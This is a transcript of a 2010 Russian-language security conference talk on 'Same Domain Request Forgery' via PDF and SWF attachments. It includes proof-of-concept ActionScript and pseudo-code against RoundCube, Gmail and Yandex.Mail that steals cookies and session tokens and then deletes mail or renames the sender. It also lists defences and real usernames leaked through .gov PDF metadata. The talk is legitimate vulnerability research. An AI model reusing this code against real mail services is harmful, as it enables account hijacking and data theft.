Top Banner
УЯЗВИМОСТИ SDRF Новые идеи и их применение.
19

Chaos Construcions 2010 SDRF presentation [ONSEC]

May 22, 2015

Download

Documents

Ivan Novikov


This report describes a vulnerability type called SDRF. There are several
examples that demonstrate the risk of the above-mentioned class of
vulnerability. Causes of its existence and methods of protection from SDRF
are also observed in the report.
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Chaos Construcions 2010 SDRF presentation [ONSEC]

УЯЗВИМОСТИ SDRF

Новые идеи и их применение.

Page 2: Chaos Construcions 2010 SDRF presentation [ONSEC]

PDF и SWF позволяют• Отправлять запросы GET/POST/PUT на домен, в

контексте которого открыт файл, без подтверждения со стороны пользователя (диалог Adobe Reader) и без спец. настройки сервера (crossdomain.xml);

• Добавлять в HTTP запросы произвольные заголовки

• Обрабатывать HTTP ответы (получение авторизационных данных, переменных);

• Вызывать обычный JavaScript в браузере (только SWF?);

Page 3: Chaos Construcions 2010 SDRF presentation [ONSEC]

• Подделка HTTP запросов пользователя, но в отличие от CSRF, подделываются запросы, отправляемые от имени пользователя на тот же домен, где расположен вредоносный код, эксплуатирующий уязвимость.

• SDRF реализуются через стандартные функции Adobe Flash Player© и Adobe Reader©. Разумеется, можно использовать SDRF и классическими методами, например через HTML инъекции или XSS.

WTF the Same Domain Request Forgery?

Page 4: Chaos Construcions 2010 SDRF presentation [ONSEC]

• Злоумышленник отправляет жертве письмо с вложением – PDF или SWF файлом. Файл содержит вредоносный код.

• Жертва получает письмо злоумышленника и открывает приложенный файл через веб-интерфейс RoundCube.

• В контексте браузера запускается плагин Adobe Reader ©, который обрабатывает и выполняет вредоносный код. От имени пользователя выполняются какие-либо действия в веб-приложении.

SDRF в веб-приложениях. RoundCube.

Page 5: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF в веб-приложениях. RoundCube.

Page 6: Chaos Construcions 2010 SDRF presentation [ONSEC]

1. var resp = GET(‘http://target-domain/?_task=mail&mbox=INBOX’)2. var request_token = resp.substring(resp.search(‘request_token’),33)3. POST(‘http://target-domain/?_task=mail&_action=moveto’,’ _uid=2451&_mbox=INBOX&_target_mbox=Trash&_from=&_remote=1’,’application/x-www-form-urlencoded’,’UTF-8’,concat(‘X-RoundCube-Request=’,request_token))

SDRF в веб-приложениях. RoundCube.

Page 7: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF в веб-приложениях. Защита.• Запретить загрузку файлов PDF и SWF со стороны

пользователя

• Запретить прямой доступ к загруженным файлам PDF и SWF средствами веб-сервера. Вместо этого использовать средства веб-приложения, добавлять заголовок Content-type:Application/octet-stream.

• Перенести хранилище файлов PDF и SWF на другой домен, где вообще отсутствуют веб-приложения.

Page 8: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF в браузерах. Opera 10.60+• Браузер выводит диалоговое окно даже при

обработке HTTP ответа c заголовком Content-Type: application/octet-stream.

• Если в этом диалоге пользователь нажмет кнопку «Открыть», результат будет таким же, как если бы документ был подключен в тэг <embed> страницы веб-приложения!

• Такая особенность браузера ставит под удар большинство веб-приложений.

Page 9: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF в браузерах. Opera 10.60+• Если пользователь использует Opera10.60+,

уязвимыми оказываются веб-приложения, защищенные от SDRF в других браузерах.

• Google Mail, Yandex Mail, все остальные

Page 10: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF PoC: Gmail && Opera 10.60+• Пользователь открывает приложение к письму

Page 11: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF PoC: Gmail && Opera 10.60+• Пользователь нажимает «Открыть» в диалоге.

Page 12: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF PoC: Gmail && Opera 10.60+public function getIK():void{

httpService.send();

browserCookieString = ExternalInterface.call("function(){return document.cookie}");

browserCookieString = browserCookieString.replace(/;\s/g, "&");

if(browserCookieString) {_urlVariables = new URLVariables(browserCookieString); } }

private function httpService_result(evt:ResultEvent):void{

var resp:String = evt.result.toString();

var sI1:int = resp.search("GLOBALS=");

ik = resp.substring(sI1+129,sI1+139);

var sI2:int = browserCookieString.search("&GMAIL_AT=");

at = browserCookieString.substring(sI2+10,sI2+10+34);

deleteEmail(); }

Page 13: Chaos Construcions 2010 SDRF presentation [ONSEC]

CSRF PoC: Opera 10.60+ Yandex.Mail• Уязвимость Opera позволяет открыть прикрепленный

файл к письму в контексте домена webattach.yandex.net

• Crossdomain.xml на mail.yandex.ru разрешает запросы от Flash с этого домена:

<allow-access-from domain="*.yandex.net"/>

• Простое приложение на Flash может отравлять запросы с webattach.yandex.net на mail.yandex.ru и обрабатывать результаты.

Page 14: Chaos Construcions 2010 SDRF presentation [ONSEC]

CSRF PoC: Opera 10.60+ Yandex.Mailpublic function changeMailName(){

var params:Object={}; params['ckey']=ckey;params['from_name']='i-am-hacked'; httpService2.send(params); }

private function httpService_result(evt:ResultEvent):void { var resp:String = evt.result.toString();var sI:int = resp.search("ckey='"); var eI:int = resp.substring(sI+6).search("'");ckey=resp.substring(sI+6,sI+eI-1);

changeMailName(); }

Page 15: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF === CSRF ?

=== ?

the Same Domain Request Forgery Cross Site Request Forgery

Page 16: Chaos Construcions 2010 SDRF presentation [ONSEC]

• Запретить загрузку файлов от пользователя ;)

• Вынести все пользовательские загрузки на отдельный домен;

• Запретить этот домен в crossdomain.xml основного домена;

Можно защитить веб и под Opera!

Page 17: Chaos Construcions 2010 SDRF presentation [ONSEC]

Что еще прячется в PDF?Формат содержит мета-данные,в них может содержаться, например, путь в системе, где был создан файл.

В Windows системах этот путь,как правило, содержит логин пользователя.

C:\Documents and Settings\Vasya\My Documents\first.pdf

Page 18: Chaos Construcions 2010 SDRF presentation [ONSEC]

• Анализ публично доступных PDF форм на доменах .GOV показал:

Что еще прячется в PDF?

1010ez.med.va.gov vha-10-10ez.pdf vhacostoutm

cars.govsalvage-auction-certification-form.pdf Administrator

dps.nv.govNTAC Suspicious Activity Report Form.pdf dmestey

uscis.gov i-134.pdf barobbsclimatescience.gov form-submit-event.pdf gminasyanfms.gov.ru form1p_1april2010.pdf andresba.gov form_tr1010.pdf rsultan

eda.govForm ED-209S (Semiannual) - FINAL.pdf ktilakaratne

tinet.ita.doc.gov doc_order_form.pdf Katjaterpforms.cbp.gov CBP_Form_4457.pdf jkim

Page 19: Chaos Construcions 2010 SDRF presentation [ONSEC]

КОНТАКТЫ:

[email protected]

ВОПРОСЫ ???